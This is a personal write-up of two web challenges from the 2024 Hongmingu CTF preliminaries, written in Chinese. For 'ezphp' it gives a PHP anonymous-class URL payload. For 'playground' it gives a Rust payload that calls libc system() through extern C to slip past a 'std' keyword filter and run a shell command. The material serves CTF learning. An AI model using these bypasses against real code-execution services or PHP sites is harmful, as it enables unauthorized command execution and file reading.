【Web】2024红明谷CTF初赛个人wp(2/4)

目录

ezphp

playground


时间原因只打了2个小时,出了2道,简单记录一下

ezphp

参考文章

PHP filter chains: file read from error-based oracle

https://github.com/synacktiv/php_filter_chains_oracle_exploit

用上面的脚本爆出部分源码,直接/flag.php?ezphpPhp=1访问

创建了一个匿名类

参考文章:

php匿名类 - Hi! 阿金

最终payload:

复制代码
/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

🤬本地通了,远程一直not found,重开靶机后一样的payload直接打出来了

playground

进题是一段rust代码

重点关注post的/rust_code这个路由

复制代码
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
    if code.contains("std") {
        return "Error: std is not allowed".to_string();
    }
    //generate a random 5 length file name
    let file_name = rand::thread_rng()
        .sample_iter(&rand::distributions::Alphanumeric)
        .take(5)
        .map(char::from)
        .collect::<String>();
    if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
        file.write_all(code.as_bytes());
    }
    if let Ok(build_output) = Command::new("rustc")
        .arg(format!("playground/{}.rs",&file_name))
        .arg("-C")
        .arg("debuginfo=0")
        .arg("-C")
        .arg("opt-level=3")
        .arg("-o")
        .arg(format!("playground/{}",&file_name))
        .output() {
        if !build_output.status.success(){
            fs::remove_file(format!("playground/{}.rs",&file_name));
            return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
        }
    }
    fs::remove_file(format!("playground/{}.rs",&file_name));
    if let Ok(output) = Command::new(format!("playground/{}",&file_name))
        .output() {
        if !output.status.success(){
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
        } else{
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
        }
    }
    return String::default();

}
  1. 首先,函数检查输入的代码是否包含了"std",如果包含,则返回一个错误消息,表示不允许使用标准库(std)。

  2. 然后,函数生成一个随机的长度为5的文件名,该文件名用于存储接收到的Rust代码。

  3. 接着,函数尝试创建一个名为playground/{}.rs的文件,其中{}会被随机生成的文件名所替代,并将接收到的代码写入文件中。

  4. 接下来,函数使用Command::new("rustc")创建一个Rust编译器的命令,该命令编译刚刚创建的Rust源代码文件,并传入了一些编译选项,例如关闭调试信息和设置优化级别。

  5. 如果编译成功,则继续执行下一步,否则删除刚创建的Rust源代码文件,并返回编译器输出的错误消息。

  6. 如果编译成功,函数继续使用Command::new(format!("playground/{}", &file_name))创建一个命令,该命令运行刚刚编译生成的可执行文件。

  7. 如果运行成功,则返回程序的标准输出结果,否则删除生成的可执行文件,并返回程序的标准错误输出结果。

  8. 最后,无论是编译失败还是运行失败,都会删除生成的Rust源代码文件,并返回一个空字符串。

payload:

复制代码
extern "C"{
    fn system(cmd: *const u8) -> i32;
}
fn main(){
    unsafe{
        system("cat /flag".as_ptr());
    }
}

直接放请求体里即可

相关推荐
曲幽3 天前
FastAPI流式输出实战与避坑指南:让AI像人一样“边想边说”
python·ai·fastapi·web·stream·chat·async·generator·ollama
曲幽4 天前
不止于JWT:用FastAPI的Depends实现细粒度权限控制
python·fastapi·web·jwt·rbac·permission·depends·abac
曲幽5 天前
FastAPI分布式系统实战:拆解分布式系统中常见问题及解决方案
redis·python·fastapi·web·httpx·lock·asyncio
曲幽6 天前
FastAPI压力测试实战:Locust模拟真实用户并发及优化建议
python·fastapi·web·locust·asyncio·test·uvicorn·workers
曲幽7 天前
FastAPI实战:打造本地文生图接口,ollama+diffusers让AI绘画更听话
python·fastapi·web·cors·diffusers·lcm·ollama·dreamshaper8·txt2img
曲幽8 天前
我用FastAPI接ollama大模型,差点被asyncio整崩溃(附对话窗口实战)
python·fastapi·web·async·httpx·asyncio·ollama
曲幽9 天前
FastAPI + Ollama 实战:搭一个能查天气的AI助手
python·ai·lora·torch·fastapi·web·model·ollama·weatherapi
holeer10 天前
【V1.0】Typora 中的 HTML 支持|软件文档自翻译
前端·编辑器·html·typora·web·markdown·文档
努力的lpp10 天前
【ctf常用备用文件名字典】
web安全·网络安全·ctf
敲敲了个代码11 天前
浏览器时间管理大师:深度拆解 5 大核心调度 API
前端·javascript·学习·web